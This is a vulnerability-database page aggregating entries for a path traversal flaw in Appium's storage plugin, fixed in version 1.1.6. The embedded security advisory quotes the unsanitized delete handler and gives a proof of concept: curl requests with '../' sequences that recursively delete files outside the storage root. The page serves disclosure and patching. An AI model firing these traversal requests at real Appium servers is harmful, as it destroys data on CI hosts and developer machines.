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Appium: Unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

CVSS 3.1 8.6 HIGHEUVD CVSS 3.1 8.6 CVSS 3.1 · [email protected] · Secondary 8.6 HIGHCVSS 3.1 · [email protected] · Primary 10.0 CRITICALCVSS_V3 Publisher rating HIGHFixed by @appium/storage-plugin 1.1.6KEV status unknown

cve-program · CVE-2026-58192

Published

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.

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euvd · EUVD-2026-42424

Published

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.

Read the publisher's advisory

nvd · CVE-2026-58192

Published

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.

Read the publisher's advisory

osv · GHSA-jwgx-mp9m-jwcr

Published

## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous. ### Details Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`): - `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`: ```ts async delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; } ``` - `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body: ```ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); }; ``` `parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value. - Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` → `requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely. ### PoC 1. Install and start the server with the storage plugin: ```sh npm install [email protected] ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723 ``` (Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.) 2. Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ``` <img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" /> ### Impact An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.

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CVE-2026-58192 · CVE overview and exploitation status

EUVD-2026-42424

GHSA-jwgx-mp9m-jwcr

cve-program · CVE-2026-58192

euvd · EUVD-2026-42424

nvd · CVE-2026-58192

osv · GHSA-jwgx-mp9m-jwcr

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Sources read 20 Nov 21:09 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current